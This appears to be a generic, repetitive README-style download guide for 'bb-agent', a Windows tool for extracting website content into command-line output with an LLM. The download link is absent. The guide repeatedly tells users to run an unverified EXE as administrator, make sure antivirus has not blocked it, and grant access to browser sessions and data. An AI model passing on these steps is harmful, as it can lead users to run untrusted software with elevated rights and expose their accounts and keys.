Use this link to visit the download page and get bb-agent:
bb-agent helps you turn a website into structured command line output. It uses bb-browser to read pages, extract useful data, and present it in a format that is easy to work with. You can connect it to any LLM and use it for tasks like page reading, data extraction, and browser-based agent flows.
This app is for people who want a simple way to use a website as a data source without manual copy and paste.
Before you start, make sure you have:
- A Windows PC
- An internet connection
- A web browser
- Enough free space to download the app
- Permission to run apps on your computer
If the app comes as a ZIP file, you will need to extract it first. If it comes as an EXE file, you can run it after download.
Follow these steps on Windows.
Go to:
Look for the latest release or the main download file on the page.
Choose the file that fits your system. For most Windows users, this will be one of these:
- A
.exefile - A
.zipfile - A packaged app folder
Save the file to your Downloads folder so you can find it fast.
If the file is a ZIP archive:
- Right-click the file
- Select Extract All
- Pick a folder, such as Desktop or Downloads
- Wait for Windows to finish unpacking the files
After extraction, open the new folder and look for the main app file.
If you see an .exe file:
- Double-click it
- If Windows asks for permission, select Yes
- Wait for the app to open
If the app opens in a terminal window, keep that window open. bb-agent may need it to run commands and show results.
bb-agent works with bb-browser, so it may ask you to:
- Open your browser
- Sign in to the site you want to use
- Allow access to browser data or tabs
- Point the app to the page you want to process
Follow the on-screen steps. The app may guide you through each part.
bb-agent can work with any LLM. You may need to:
- Pick your model provider
- Enter an API key
- Select a model name
- Save your settings
If you already use an AI tool, bb-agent may let you reuse that setup.
Try a simple page first. For example:
- A news page
- A product page
- A search results page
- A table on a website
Then let bb-agent read the page and turn the content into structured CLI output.
A common Windows setup looks like this:
- Download the file from the GitHub page
- Extract it if needed
- Open the app
- Allow browser access if asked
- Add your LLM settings
- Run a test page
- Check the output in the terminal or app window
If the app asks for a browser path, choose the browser you already use, such as Chrome or Edge.
bb-agent fits tasks like:
- Turning web pages into structured text
- Pulling data from pages into CLI output
- Reading page content for automation
- Using an LLM to sort and format web data
- Building simple browser-based agent flows
- Testing page extraction without manual work
It is useful when you want the computer to do the reading and organizing for you.
Here are some simple ways people may use bb-agent:
- Track product details from a shopping site
- Pull article titles from a news site
- Read table data from a dashboard
- Capture page text for later use
- Feed page content into an AI workflow
- Turn browser content into structured records
If the app does not start right away, try these steps:
- Right-click the file and choose Run as administrator
- Make sure the file finished downloading
- Check that your antivirus did not block it
- Move the files to a simple folder path, such as
C:\bb-agent - Keep the folder name short and free of special characters
If Windows asks whether you want to keep the file, confirm that you trust the source before opening it.
Use this checklist the first time you open bb-agent:
- The app file opens
- Your browser is available
- The page you want to read is open
- Your LLM settings are added
- The output appears in the app or terminal
- The structured data looks correct
If the output looks wrong, try a simpler page first.
After extraction, you may see files like:
bb-agent.exeREADME.mdconfigassetsbinlogs
Not every release will use the same names, but this is a common layout for Windows apps.
bb-agent may need access to your browser session or page content to do its job. Use it only on sites you trust. If you connect an LLM key, keep it private and store it in a safe place.
Try this:
- Download the file again
- Extract the ZIP again
- Run the app as administrator
- Move the folder to a short path
- Check if Windows blocked the file
Try this:
- Open Command Prompt first
- Run the app from that window
- Look for error text before the window closes
- Make sure all files are in the same folder
Try this:
- Install or update Chrome or Edge
- Use the browser path in the settings
- Close extra browser windows
- Open the page again before starting the app
Try this:
- Use a simpler page
- Refresh the page
- Make sure the page has visible content
- Check your LLM settings
- Try a different model if needed
For fewer problems, keep your files here:
C:\bb-agent\
This keeps paths short and easy to manage. Avoid folders inside deeply nested locations.
When a new version is available:
- Visit the GitHub page
- Download the latest release
- Extract the new files
- Copy over any config files you want to keep
- Run the new version
If your settings are stored in a config file, back it up before replacing the folder.
If you want the shortest path to use bb-agent on Windows:
- Open the download page
- Download the latest file
- Extract it if needed
- Run the app
- Open a website in your browser
- Connect your LLM
- Start reading pages into structured output
